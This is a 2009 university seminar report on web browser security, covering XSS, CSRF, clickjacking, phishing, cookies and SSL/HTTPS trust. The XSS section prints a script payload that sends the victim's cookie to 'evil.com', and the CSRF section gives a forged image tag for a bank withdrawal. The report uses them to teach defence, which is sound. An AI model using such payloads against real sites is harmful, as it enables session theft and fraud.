Seminar Report On

**Browser Security**

Submitted by

ANITHA T. NAIR

In partial fulfillment of requirements in Degree of Master of Technology (M-Tech)

In

Software Engineering

DEPARTMENT OF COMPUTER SCIENCE
COCHIN UNIVERSITY OF SCIENCE AND TECHNOLOGY
KOCHI-682022
2009
I thank GOD almighty for guiding me throughout the seminar. I would like to thank all those who have contributed to the completion of the seminar and helped me with valuable suggestions for improvement.

I am extremely thankful to Prof. Dr. K Paulose Jacob, Director, Department of Computer Science, for providing me with best facilities and atmosphere for the creative work guidance and encouragement. I would like to thank my coordinator, Dr. Sumam Mary Idicula for all help and support extend to me. I thank all staff members of my college and friends for extending their cooperation during my seminar.

Above all I would like to thank my parents without whose blessings; I would not have been able to accomplish my goal.

Anitha T. Nair
<table>
<thead>
<tr>
<th>CONTENTS</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td>1 Introduction</td>
<td>1</td>
</tr>
<tr>
<td>2 Web Browser</td>
<td>2</td>
</tr>
<tr>
<td>2.1 How Web Browsers Work?</td>
<td>2</td>
</tr>
<tr>
<td>2.2 Open Browser Engineering Issues</td>
<td>3</td>
</tr>
<tr>
<td>3 Why Browser Security?</td>
<td>5</td>
</tr>
<tr>
<td>4 Threats</td>
<td>8</td>
</tr>
<tr>
<td>4.1 Types Of Threats</td>
<td>8</td>
</tr>
<tr>
<td>5 Phishing</td>
<td>13</td>
</tr>
<tr>
<td>5.1 Phishing Techniques</td>
<td>13</td>
</tr>
<tr>
<td>5.2 How Do We Know?</td>
<td>14</td>
</tr>
<tr>
<td>6 Cookies</td>
<td>15</td>
</tr>
<tr>
<td>6.1 Uses Of Cookies</td>
<td>16</td>
</tr>
<tr>
<td>6.2 Variations</td>
<td>17</td>
</tr>
<tr>
<td>6.3 Blocking Third-Party Cookies</td>
<td>18</td>
</tr>
<tr>
<td>7 Security Versus Usability</td>
<td>19</td>
</tr>
<tr>
<td>8 What A Browser Designer Should Do?</td>
<td>21</td>
</tr>
<tr>
<td>9 Features Of A Good Browser</td>
<td>23</td>
</tr>
<tr>
<td>10 Security Implementations And Browsers</td>
<td>24</td>
</tr>
<tr>
<td>11 Conclusion</td>
<td>27</td>
</tr>
<tr>
<td>12 References</td>
<td>28</td>
</tr>
</tbody>
</table>
1. INTRODUCTION

The initial design of internet and web protocols assumed an environment where servers, clients, and routers cooperate and follow standard protocols except for unintentional errors. However, as the amount sensitivity of usage increased, concerns about security, fraud and attacks became important. In particular, since currently internet access is widely available, it is very easy for attackers to obtain many client (and even host) connections and addresses, and use them to launch different attacks, both on the networking itself and on other hosts and clients. Today's attackers are more likely to host their malicious files on the web. They may even update those files constantly using automated tools. When you are surfing the Internet, it is easy to visit sites you think are safe but are not. These sites can introduce malware when you click the site itself, when you download a file from the site manually and install it, or worse, when you are conned into believing the site you are visiting is a real site, but in fact is nothing more than a fake used to garner your personal information.

From a network security perspective, a browser is essentially a somewhat controlled hole in your organization’s firewall that leads to the heart of what it is you are trying to protect. While browser designers do try to limit what attackers can do from within a browser, much of the security relies far too heavily on the browser user, who often has other interests besides security. There are limits to what a browser developer can compensate for, and browser users will not always accept the constraints of security that a browser establishes.
2. WEB BROWSER

Web browsers, often referred to just as browsers, are software applications used to locate and display Web pages on the World Wide Web. While this is the most popular usage, browsers can also be used to access and view content on a private or local network as well. Most, but not all browsers are graphical browsers, which mean that they can display graphics as well as text. In addition, most modern browsers can present multimedia information, including sound and video, though they require plug-ins for some formats.

The primary purpose of a web browser is to retrieve information resources and to display the information to the user. The major web browsers are Windows Internet Explorer, Mozilla Firefox, Apple Safari, Google Chrome, and Opera.

2.1 How Web Browsers Work?

The World Wide Web is a system of Internet servers that support specially formatted documents. Web browsers are used to make it easy to access the World Wide Web. Browsers are able to display Web pages largely in part to an underlying Web protocol called Hyper Text Transfer Protocol. HTTP defines how messages are formatted and transmitted, and what
actions Web servers and browsers should take in response to various commands. It is what allows Web clients and Web servers to communicate with each other. When you enter a Web address (URL) in your browser, this actually sends an HTTP command to the Web server directing it to fetch and transmit the requested Web page and display the information in your browser. All Web servers serving Web sites and pages support the HTTP protocol.

2.2 Open Browser Engineering Issues

Other than the general design of HTTP, HTML, and related mechanisms discussed previously, a handful of browser engineering decisions tend to contribute to a disproportional of day-to-day security woes. Understanding these properties is sometimes important for properly assessing the likelihood and maximum impact of security breaches, and hence determining the safety of user data. Some of the pivotal, open-ended issues include:

- **Relatively unsafe core programming languages**: C++ is used for a majority of code in Internet Explorer, Firefox, Safari, Opera, and Chrome; C is used in certain high-performance or low-level areas, such as image manipulation libraries. The choice of C and C++ means that browsers are regularly plagued by memory management and integer overflow problems, despite considerable ongoing audit efforts.

- **No security compartmentalization**: once control of the process is seized due to common implementation flaws, most browsers provide essentially unconstrained access to the user context they are running in. This means that browser bugs - historically, very common - easily lead to total system integrity loss.

- **Inconsistent and haphazard data storage practices**: browsers use a mix of random storage methods to keep temporary files, downloads, configuration data, and sensitive records such as passwords, browsing history, saved cookies, or cache entries. These methods include system registry, database container files, drop-off directories, text-based configs (CSV, INI, tab-delimited, XML), and proprietary binary files. The data may be stored in user home directories, system-wide temporary directories, or global program installation
folders. Controlling the permissions on all these resources and manipulating them securely is relatively difficult, contributing to many problems, particularly in multi-user systems, or when multiple browsers are used by the same user.

- **Web technologies are used in browser chrome:** JavaScript, HTML, and XML are all used to a varying degree to implement some browser internals and various diagnostic and error pages in most browsers. This choice contributes to an elevated risk of HTML injection flaws that permit web content to gain elevated chrome privileges, which - depending on the browser - may carry the permission to read or write files, access arbitrary sites on the Internet, or alter browser settings. The problem is particularly pronounced for Firefox, which implements much of its user interface in this manner.

- **Inconsistent and overly complex security UIs:** a vast majority of browsers employ highly inconsistent UI elements and security messaging, including several styles of modal prompts, interstitials, icons, color codes, and messages that pop up either on the bottom or on the top of the document window. Usability studies consistently show that at least some of these features are easily misidentified, misunderstood, or trivial to spoof (this is particularly the case for interstitials and notification bars that are not anchored in browser UI). Although a gradual improvement may be observed in certain aspects, further coordinated work in this area seems to be necessary.
3. WHY BROWSER SECURITY?

The web browser is the primary connection to the rest of the internet, and multiple applications may rely on the browser, or elements within the browser, to function. This makes the security settings within the browser even more important. Many web applications try to enhance the browsing experience by enabling different types of functionality, but this functionality might be unnecessary and may leave you susceptible to being attacked. The safest policy is to disable the majority of those features unless you decide they are necessary. If you determine that a site is trustworthy, you can choose to enable the functionality temporarily and then disable it once you are finished visiting the site. While every application has settings that are selected by default, you may discover that the browser also has predefined security levels that you can select. For example, Internet Explorer offers custom settings that allow you to select a particular level of security; features are enabled or disabled based on the selection. Even with these guides, it is helpful to have an understanding of what the different terms mean so that you can evaluate the features to determine which settings are appropriate for you.

Key features of early browsers included encryption and cookies, which were fine for the simple uses of the day. These techniques enabled the start of e-commerce, and monetizing the Web was what brought in the rest of the problems. Attackers who want money go where the money is, and there is money to be had on the Web. Today, users expect far more from a browser. It should be able to handle sophisticated banking and shopping systems, display a wide variety of media, including video, audio, and animation, interact with the network on a micro scale (such as what happens when you move the cursor over a DVD selection in Netflix and see a summary of the movie), and update in as close to real time as possible all without divulging sensitive information to bad guys or opening the door for attackers.

Consider AJAX, also known as Asynchronous JavaScript and XML. A Web page can contain code that establishes a network connection back to a server and conducts a
conversation with that server that might bypass any number of security mechanisms integrated into the browser. The growing popularity of AJAX as a user-interface technique means an enterprise network often allows these connections, so that popular sites can function correctly.

Ajax is built on Dynamic HTML (DHTML) technologies, including these most common ones:

- JavaScript: JavaScript is a scripting language commonly used in client-slide Web applications.
- Document Object Model (DOM): DOM is a standard object model for representing HTML or XML documents. Most of today's browsers support DOM and allow JavaScript code to read and modify the HTML content dynamically.
- Cascading Style Sheets (CSS): CSS is a stylesheet language used to describe the presentation of HTML documents. JavaScript can modify the stylesheet at run time, allowing the presentation of the Web page to update dynamically.

In Ajax, client-side JavaScript updates the presentation of a Web page by dynamically modifying the DOM tree and the stylesheet. In addition, asynchronous communication, enabled by the following technologies, allows dynamic updates of data without the need to reload the entire Web page:

- XMLHttpRequest: XMLHttpRequest is an API that allows client-side JavaScript to make HTTP connections to remote servers and to exchange data, such as plain text, XML, or JavaScript Serialized Object Notation (JSON).
- JSON: JSON, as proposed in Request for Comments (RFC) 4627, is a lightweight, text-based, language-independent, data-interchange format. It's based on a subset of the ECMAScript language (making it part of the JavaScript language), and it defines a small set of formatting rules to create a portable representation of structured data.

Note that there are other commonly used alternatives for JSON in Ajax applications, such as XML and unformatted plain text. It is a powerful tool, but one that is open to a number of attacks.
- **Advantages of AJAX are:**

  1. Better performance than traditional web applications
  2. Better bandwidth usage
  3. Easy interaction with DOM objects
  4. No need for page refresh
  5. A single screen can handle multiple tasks so there is no need for multiple pages

- **Loopholes in AJAX**

  The web is a place for hackers to get sensitive data. So it is better to design a website to avoid chances for hacking. In AJAX, we have some problems with regard to this. For e.g. Injection Attacks, i.e. injection means sending the data or sending the scripts into the main code.
4. THREATS

Threat is an indication of impending danger or harm. Today's attackers are more likely to host their malicious files on the web. They may even update those files constantly using automated tools.

4.1 Types of Threats

4.1.1 Zero-day exploit

A zero-day (or zero-hour) attack or threat is a computer threat that tries to exploit computer application vulnerabilities that are unknown to others, undisclosed to the software vendor, or for which no security fix is available. Zero-day exploits (actual code that can use a security hole to carry out an attack) are used or shared by attackers before the software vendor knows about the vulnerability. The term derives from the age of the exploit. When a vendor becomes aware of a security hole, there is a race to close it before attackers discover it or the vulnerability becomes public. A "zero day" attack occurs on or before the first or "zeroth" day of vendor awareness, meaning the vendor has not had any opportunity to disseminate a security fix to users of the software. (In computer science, numbering often starts at zero instead of one.)

4.1.2 Click jacking

Click jacking is a malicious technique of tricking Web users into revealing confidential information or taking control of their computer while clicking on seemingly innocuous Web pages. A vulnerability across a variety of browsers and platforms, a clickjacking takes the form of embedded code or script that can execute without the user's knowledge, such as clicking on a button that appears to perform another function. Clickjacking (a term coined by Jeremiah Grossman and Robert Hansen in 2008) can be understood as an instance of the confused deputy problem. Clickjacking, also known as UI redressing, is possible not because of a software bug, but because seemingly harmless features of Web pages can perform unexpected actions. A clickjacked page tricks a user into performing undesired actions by clicking on a concealed link. On a clickjacked page, the attackers show a set of dummy buttons, then load another page over it in a transparent
layer. The users think that they are clicking the visible buttons, while they are actually performing actions on the hidden page. The hidden page may be an authentic page, and therefore the attackers can trick users into performing actions which the users never intended to do and there is no way of tracing such actions later, as the user was genuinely authenticated on the other page.

For example, a user might play a game in which they have to click on some buttons, but another authentic page like a Webmail site from a popular service is loaded in a hidden iframe on top of the game. The iframe will load only if the user has saved the password for its respective site. The buttons in the game are placed such that their positions coincide exactly with the "select all" mail button and then the "delete mail" button. The consequence is that the user unknowingly deleted all the mail in their folder while playing a simple game. Other known exploits have been tricking users to enable their Webcam and microphone through Flash (which has since been corrected by Adobe), tricking users to make their social networking profile information public, making users follow someone on Twitter, etc.

4.1.3 Cross-site Scripting (XSS)

XSS is a common attack in which an attacker injects a malicious piece of code into an otherwise benign site. The two basic types of XSS attacks are:

- Reflected XSS
- Stored XSS

A reflected XSS attack exploits vulnerable Web applications that display input parameters back to the browser without checking for the presence of active content in them. Typically, an attacker lures victims into clicking on the URL, as shown below.

```
http://trusted.com/search?keyword=<script>
document.images[0].src="http://evil.com/steal?cookie="
+ document.cookie; </script>
```
Suppose that trusted.com hosts a service that has a search feature that posts back the search results together with the keywords that were entered. If the search application doesn't filter the special characters [such as the less than (<) and greater than (>) symbols] in the URL, the content of the <script> tag will also be inserted into the user Web page, and as a result, will send the document cookie to the remote server evil.com.

The stored XSS attack has become more important with the prevalence of Web 2.0. The key of Web 2.0 is sharing, interaction, and collaboration among people, so users have more chance of seeing other (potentially malicious) users' input through services such as social network services (SNS), wikis, or blogs.

In either case, input value validation and sanitization are the key to preventing XSS attacks. Usually Web servers remove scripts from user input, but often attackers exploit vulnerabilities to bypass these filters, resulting in major attacks such as the Yamanner or MySpace worms.

### 4.1.4 Cross-site reference forgery

Cross-site request forgery, also known as a one-click attack or session riding and abbreviated as CSRF ("sea-surf") or XSRF, is a type of malicious exploit of a website whereby unauthorized commands are transmitted from a user that the website trusts. Unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser.

![Figure 2: Example of a CSRF hole in commercial banking software](image-url)
The attack works by including a link or script in a page that accesses a site to which the user is known (or is supposed) to have authenticated. For example, one user, Bob, might be browsing a chat forum where another user, Mallory, has posted a message. Suppose that Mallory has crafted an HTML image element that references a script on Bob's bank's website (rather than an image file), e.g.,

```
<img src="http://bank.example/withdraw?account=bob&amount=1000000&for=mallory">
```

If Bob's bank keeps his authentication information in a cookie, and if the cookie hasn't expired, then the attempt by Bob's browser to load the image will submit the withdrawal form with his cookie, thus authorizing a transaction without Bob's approval.

A cross-site request forgery is a confused deputy attack against a Web browser. The deputy in the bank example is Bob's Web browser which is confused into misusing Bob's authority at Mallory's direction.

The following characteristics are common to CSRF:

- Involve sites that rely on a user's identity
- Exploit the site's trust in that identity
- Trick the user's browser into sending HTTP requests to a target site

Several things have to happen for cross-site request forgery to succeed:

- The attacker must target either a site that doesn't check the Referer header (which is common) or a victim with a browser or plugin bug that allows Referer spoofing (which is rare).
- The attacker must target either a site that doesn't check the Referer header (which is common) or a victim with a browser or plugin bug that allows Referer spoofing (which is rare).
- The attacker must find a form submission at the target site that does something useful to him (e.g., transfers money, or changes the victim's e-mail address or password).
- The attacker must determine the right values for all the form inputs: if any of them are required to be secret authentication values or IDs that the attacker can't guess, the attack will fail.
4.1.5. Phishing

Phishing is the criminally fraudulent process of attempting to acquire sensitive information such as usernames, passwords and credit card details by masquerading as a trustworthy entity in an electronic communication. Communications purporting to be from popular social sites, auction sites, online payment processors or IT Administrators are commonly used to lure the unsuspecting public. Phishing is typically carried out by e-mail or instant messaging, and it often directs users to enter details at a fake website whose look and feel are almost identical to the legitimate one. A phishing technique was described in detail in 1987, and the first recorded use of the term "phishing" was made in 1996. The term is a variant of fishing, probably influenced by phreaking, and alludes to baits used to "catch" financial information and passwords.
5. PHISHING

5.1 Phishing Techniques

- Link manipulation: Most methods of phishing use some form of technical deception designed to make a link in an e-mail (and the spoofed website it leads to) appear to belong to the spoofed organization. Misspelled URLs or the use of subdomains are common tricks used by phishers. In the following example URL, http://www.yourbank.example.com/, it appears as though the URL will take you to the example section of the yourbank website; actually this URL points to the "yourbank" (i.e. phishing) section of the example website. Another common trick is to make the anchor text for a link appear to be valid, when the link actually goes to the phishers' site. The following example link, http://en.wikipedia.org/wiki/Genuine, appears to take you to an article entitled "Genuine"; clicking on it will in fact take you to the article entitled "Deception". In the lower left hand corner of most browsers you can preview and verify where the link is going to take you.

- Filter evasion: Phishers have used images instead of text to make it harder for anti-phishing filters to detect text commonly used in phishing e-mails.

- Phone phishing: Not all phishing attacks require a fake website. Messages that claimed to be from a bank told users to dial a phone number regarding problems with their bank accounts. Once the phone number (owned by the phisher, and provided by a Voice over IP service) was dialed, prompts told users to enter their account numbers and PIN. Vishing (voice phishing) sometimes uses fake caller-ID data to give the appearance that calls come from a trusted organization.

- Website forgery: Once a victim visits the phishing website the deception is not over. Some phishing scams use JavaScript commands in order to alter the address bar. This is done either by placing a picture of a legitimate URL over the address bar, or by closing the original address bar and opening a new one with the legitimate URL.
5.2 How Do We Know?

- Phishers, pretending to be legitimate companies, may use email to request personal information and direct recipients to respond through malicious web sites.
- Phishers tend to use emotional language using scare tactics or urgent requests to entice recipients to respond.
- The phish sites can look remarkably like legitimate sites because they tend to use the copyrighted images from legitimate sites.
- Requests for confidential information via email or Instant Message tend to not be legitimate.
- Fraudulent messages are often not personalized and may share similar properties like details in the header and footer.

![Sample Phishing Email](image)

Figure 3: Sample Phishing Email
6. COOKIES

A cookie (also tracking cookie, browser cookie, and HTTP cookie) is a small piece of text stored on a user's computer by a web browser. A cookie consists of one or more name-value pairs containing bits of information such as user preferences, shopping cart contents, the identifier for a server-based session, or other data used by websites.

![Figure 4: Setting a cookie](image)

It is sent as an HTTP header by a web server to a web browser and then sent back unchanged by the browser each time it accesses that server. A cookie can be used for authenticating, session tracking (state maintenance), and remembering specific information about users, such as site preferences or the contents of their electronic shopping carts. The term "cookie" is derived from "magic cookie", a well-known concept in UNIX computing which inspired both the idea and the name of browser cookies. Some alternatives to cookies exist; each has its own uses, advantages, and drawbacks.

Being simple pieces of text, cookies are not executable. They are neither spyware or viruses, although cookies from certain sites are detected by many anti-spyware products because they can allow users to be tracked when they visit various sites.

Most modern browsers allow users to decide whether to accept cookies, and the time frame to keep them, but rejecting cookies makes some websites unusable. For example,
shopping carts or login systems implemented using cookies do not work if cookies are disabled.

6.1 Uses of Cookies

- Session management

Cookies may be used to maintain data related to the user during navigation, possibly across multiple visits. Cookies were introduced to provide a way to implement a "shopping cart" (or "shopping basket"), a virtual device into which a user can store items they want to purchase as they navigate the site.

Shopping basket applications today usually store the list of a basket contents in a database on the server side, rather than storing basket items in the cookie itself. A web server typically sends a cookie containing a unique session identifier. The web browser will send back that session identifier with each subsequent request and shopping basket items are stored associated with a unique session identifier. Allowing users to log in to a website is a frequent use of cookies. Typically the web server will first send a cookie containing a unique session identifier. Users then submit their credentials and the web application authenticates the session and allows the user access to services.

Cookies may be used to remember the information about the user who has visited a website in order to show relevant content in the future. For example a web server may send a cookie containing the username last used to log in to a web site so that it may be filled in for future visits.

- Personalization

Many websites use cookies for personalization based on users' preferences. Users select their preferences by entering them in a web form and submitting the form to the server. The server encodes the preferences in a cookie and sends the cookie back to the browser. This way, every time the user accesses a page, the server is also sent the cookie where the preferences are stored, and can personalize the page according to the user preferences. For example, the Wikipedia website allows authenticated users to choose the webpage skin they
like best; the Google search engine allows users (even non-registered ones) to decide how many search results per page they want to see.

- **Tracking**

  i) Tracking cookies may be used to track internet users' web browsing habits. This can also be done in part by using the IP address of the computer requesting the page or the referer field of the HTTP header, but cookies allow for a greater precision. This can be done for example as follows:

  ii) If the user requests a page of the site, but the request contains no cookie, the server presumes that this is the first page visited by the user; the server creates a random string and sends it as a cookie back to the browser together with the requested page;

  iii) From this point on, the cookie will be automatically sent by the browser to the server every time a new page from the site is requested; the server sends the page as usual, but also stores the URL of the requested page, the date/time of the request, and the cookie in a log file.

  iv) By looking at the log file, it is then possible to find out which pages the user has visited and in what sequence. For example, if the log contains some requests done using the cookie id=dfhsiw, it can be determined that these requests all come from the same user. The URL and date/time stored with the cookie allows for finding out which pages the user has visited, and at what time.

### 6.2 Variations

- **Session cookies** – Session cookies are stored on your hard drive only during the time that you are at a particular site. They are automatically deleted when you terminate your session. A Web site will use session cookies to assist with navigation by remembering what pages a user has already visited, or whether or not a user has logged-in to the site. Secure Florida uses session cookies.

- **Persistent cookies** – Persistent cookies store on your personal preferences on your computer for an extended period of time. Most browsers will allow you to configure how
long you would like to keep persistent cookies. If a malicious hacker were to gain access to your computer, they me able to gather personal information about you from stored persistent cookies.

- **Third-party cookies** -- Images or other objects contained in a Web page may reside in servers different from the one holding the page. In order to show such a page, the browser downloads all these objects, possibly receiving cookies. These cookies are called third-party cookies if the server sending them is located outside the domain of the Web page. But when you visit a domain such as www.somedomain.com, the web pages on that domain may feature content from a third-party domain. For instance, there may be an advertisement run by www.anotherdomain.com showing graphic advert banners. When your web browser asks for the banner image from www.anotherdomain.com, that third-party domain is allowed to set a cookie. Each domain can only read the cookie it created, so there should be no way of www.anotherdomain.com reading the cookie created by www.somedomain.com. Some people don't like third-party cookies for the following reason: suppose that the majority of sites on the internet have banner adverts from www.anotherdomain.com. Now it's possible for the advertiser to use its third-party cookie to identify you as you move from one site with its adverts to another site with its adverts.

Even though the advertiser from www.anotherdomain.com may not know your name, it can use the random ID number in the cookie to build up an anonymous profile of the sites you visit. Then, when it spots the unique ID in the third-party cookie, it can say to itself: "visitor 3E7ETW278UT regularly visits a music site, so show him/her adverts about music and music products".

### 6.3 Blocking third-party cookies

A web browser such as Firefox, Opera or Internet Explorer will allow you to choose how you want it to respond to a request to set a cookie. You can tell your browser to block third-party cookies, tell it to ask you each time, or tell it to allow them every time.
7. SECURITY VERSUS USABILITY

Usability and security have long been at odds with each other in software design. The browser is no exception to that rule. When browsing the Web or downloading files, the user constantly needs to make choices about whether to trust a site or the content accessed from that site. Browser approaches to this have evolved over time—for example, browsers used to give a slight warning if you accessed a site with an invalid HTTPS certificate; now most browsers block sites with invalid certificates and make the user figure out how to unblock them. Similar approaches are taken with file downloads. Internet Explorer tends to ask the user several times before opening a downloaded file, especially if the file is not signed. Prompting the user for actions that are legitimate most of the time often creates user fatigue, which makes the user careless in walking the tightrope between software with a “reasonable but not excessive” security posture and a package that is either too open for safety or too closed to be useful. Most browsers today have evolved from the “make the user make the choice” model to the “block and require explicit override action” model.

Another usability feature of the Web browser that has been attacked by malware is the auto-complete functionality. Auto-complete saves the form information in a safe location and presents the user with options for what he typed before into a similar form. Several families of malware, such as the Goldun/Trojan Horse, used this technique very effectively. The malware cracked the encrypted auto complete data from the browser.

From a security engineering perspective, the obvious choice for browser software (or any software) is to ship it in a “locked down” state, with all security features turned on, and let the user or enterprise weaken the security by enabling functions that they want. Consumer software that has done this has generally failed in the marketplace. Consumers want security, but they don’t want to think about it or configure it. If the shipped configuration does what they want, they probably will not alter the configuration much, if at all. So the browser designer faces Goldilocks problem. Either the porridge is too cold (not usable because of the demands of the security lockdown) or too hot (too easy to abuse because not enough security measures are in place, or are too weak). Designing a configuration that is
“just right” is nearly impossible because of evolving threats, uncovered bugs, and differing user tolerances for frustration. Ideally, you would set your security for the highest level possible. However, restricting certain features may limit some web pages from loading or functioning properly. The best approach is to adopt the highest level of security and only enable features when you require their functionality.
8. WHAT A BROWSER DESIGNER SHOULD DO?

Proactive and reactive developers can generate an endless series of software updates. As a responsible defender, your dilemma is that allowing these updates in to your users without testing may break applications or even introduce security holes, but not allowing them may leave your enterprise open to even more serious attacks. Distributed management provides some help in this area, but all major browsers are weaker than many defenders would like them to be. Microsoft provides the free Internet Explorer Administration Kit, which sets the bar for enterprise browser deployment and management tools, but that bar is lower than many would care for. FirefoxADM, an open source project for managing collections of Firefox browsers, is far more limited but a step in the right direction. FrontMotion provides a Web-based tool that allows a defender to create packages with approved software, configuration, and plug-ins for Firefox. All are available for Windows platforms only.

Firefox and Google's Chrome browser have implemented sandboxes, in which the browser runs code (such as JavaScript or Flash) in a compartmentalized area of the program that provides only limited resources for the program and whose design is heavily scrutinized for security flaws. Internet Explorer uses a zone-based security model, in which security features are enabled or disabled depending on the site being accessed. Under Vista, Internet Explorer runs in what is known as Protected Mode, which limits the operating-system privileges the browser program can exercise. Open source developers especially must be very careful about designing and implementing sandbox systems, because their sandbox source code is available to the attacker for study and testing. This is, of course, no surprise to the sandbox developers and one reason why open source sandboxes tend to improve quickly.

Browser developers have come up with several ways to combat phishing attacks as well, primarily heuristics to detect an attempted visit to a fraudulent site, techniques to aggregate lists of and warn about known phishing sites, and augmentation of login security.

Injection attacks are most properly defended against at the server, but the victim will often be the browser user, not the server owner. Therefore, browsers may implement
policies that hamper the injection attack by limiting where resources may be accessed from within a particular page.

Some browser developers are employing and refining their system for detecting, reporting, and responding to security flaws. Mozilla.org, the support and development organization for Firefox, enlists open source developers to assist with code reviews and offers open bug-tracking systems so that bugs can be reported and the follow-up tracked.

8.1 How Can Browser Makers Keep Users And Protect Them?

There needs to be another control in the browser (in which), for important sites--banking or payment--it refuses to let the users do something, if the certificate is not valid. For simple sites, maybe you give the users the control to continue. We don't do that differentiation these days--there is no difference between an important site...and a site (where you are) looking for information.

The browser does certain checks when the certificate comes in--(it) will check (whether) the name of the certificate and the URL matches or not. The checks are not enough, as there are certain cases where somebody can fool the browser into thinking that this is the right URL. You can design sessions where that check is very tight--where the connection will not happen--but the general browser basically allows the user to trust things. And the user doesn't understand what that means, of course, so the user will always say yes.

The current security issues are finally bringing up things that we knew about in the security world a long time ago...because (now) the size of the economy of the Internet is growing. The industry needs to deal with this in a better way.

All security protocols allow the use of multiple algorithms because we have to (design) the protocol (for use) over a long period of time. The (SSL) protocol is pretty solid...changes in the protocol have been minimum (over the years).
9. FEATURES OF A GOOD BROWSER

- **Have security features to protect users from common threats of the Internet**

  The infamous Internet Explorer from Microsoft included an extremely dangerous feature into the software back in 1996 called “Active-X”, which is a specification to enable the execution of software inside the browser. This made it possible for Microsoft to run applications like Excel inside the browser, which gave them an incredible advantage comparing to other browsers. The sad side of things is that also they enabled malware to execute within the browser, opening a horrible opportunity for crackers all over the world, which could exploit the smallest error in the program to enable their own software into the browser. If that happens, you can forget about your privacy because all what you type will be seen, maybe by a dangerous cracker at Russia.

- **Be free of charge**

  All browsers are now free of charge, so it will be very difficult for someone to charge for this type of software. I have seen people charging for giving people more tools in one place, but not charging ethically for this kind of software.

- **Respond rapidly to fix any problem of the software**

  Open source browsers have a community of programmers devoted to keep their preferred browser free of errors. These people don’t work for the money (there isn’t) but for the sake of being in the community that is helping people to feel secure on the Internet. These people respond very fast to any security alert, faster than any company could.
10. SECURITY IMPLEMENTATIONS AND BROWSERS

SSL is the protocol between two points, usually browser and server. The weaknesses in the system usually are due to the browser, not the protocol. The protocol says (servers) would identify themselves to each other, and it's up to both sites to accept whether this is a good site or not. Unfortunately, the browser trust model...allows end users to accept things without actually understanding what they are accepting, unrelated to the protocol as it stands.

Man-in-the-middle attacks are not actually part of SSL; (they) are network design issues where somebody designs the network and puts in a proxy that makes the browser believe that the server is a different place and then substitutes a different certificate to both sides.

All of these problems have to do with browser design rather than security or protocol. It's interesting because SSL gets blamed for all the stuff, but (they are) actually not even related to SSL. (The issue is) which certificate the browser should trust or should not trust.

The cookie (incident) has nothing to do with SSL. The cookie is something that is associated with an HTTP session--it's actually a Web standard. The cookie idea was invented to make sure that you can have a long session on the Web, before SSL (came into the picture).

It also turns out that the secure sessions also use same cookie design to maintain sessions. Some cookies are well-designed, and people cannot hijack the sessions. Some cookies are really badly designed. This has nothing to do with the SSL protocol at all.

We know very well (which) cookies are good and which cookies are bad, and there are ways to design cookies so that people cannot actually hijack the session. A security researcher has also pointed out that users still log on to sites that have expired SSL certificates, and that poses a problem. Accepting the expired certificate is a browser problem.
Security professionals always struggle with the general public because usability always wins. When you get an expired certificate, the site owner or organization would always prefer to allow the user to do things rather than disallow. This is just an unfortunate fact.

From a technical standpoint, (however), it should be the case that the certificate would warn the Web server owner that (it will) expire in seven days (and to) go and get the certificate renewed. There should be a process to do that better, but the automation hasn't happened yet.

Hypertext Transfer Protocol Secure (HTTPS) is a combination of the Hypertext Transfer Protocol and a cryptographic protocol. HTTPS connections are often used for payment transactions on the World Wide Web and for sensitive transactions in corporate information systems.

The main idea of HTTPS is to create a secure channel over an insecure network. This ensures reasonable protection from eavesdroppers and man-in-the-middle attacks, provided that adequate cipher suites are used and that the server certificate is verified and trusted.

The trust inherent in HTTPS is based on major certificate authorities which come pre-installed in browser software (this is equivalent to saying "I trust certificate authority (e.g. VeriSign/Microsoft/etc.) to tell me who I should trust"). Therefore an HTTPS connection to a website can be trusted if and only if all of the following are true:

1. The user trusts the certificate authority to vouch only for legitimate websites without misleading names.
2. The website provides a valid certificate (an invalid certificate shows a warning in most browsers), which means it was signed by a trusted authority.
3. The certificate correctly identifies the website (e.g. visiting https://somesite/ and receiving a certificate for "Somesite Inc." and not "Shomesite Inc." [see #2]).
4. Either the intervening hops on the internet are trustworthy (if so, why are you using HTTPS?), or the user trusts the protocol's encryption layer (TLS or SSL) is unbreakable by an eavesdropper.
10.1 Browser integration

When connecting to a site with an invalid certificate, older browsers would present the user with a dialog box asking if they wanted to continue. Newer browsers display a warning across the entire window. Newer browsers also prominently display the site's security information in the address bar.

Extended validation certificates turn the address bar green in newer browsers. Most browsers also pop up a warning to the user when visiting a site that contains a mixture of encrypted and unencrypted content.
11. CONCLUSION

Browsers are at the heart of the Internet experience, and as such they are also at the heart of many of the security problems that plague users and developers alike. As the sensitivity of internet usage increased concerns about security, fraud and attacks became important. There are limits to what a browser developer can compensate for, and browser users will not always accept the constraints of security that a browser establishes. Attack and defense strategies are coevolving, as are the use and threat models. As always, anybody can break into anything if they have sufficient skill, motivation and opportunity. The job of browser developers, network administrators, and browser users is to modulate those three quantities to minimize the number of successful attacks.
12. REFERENCES


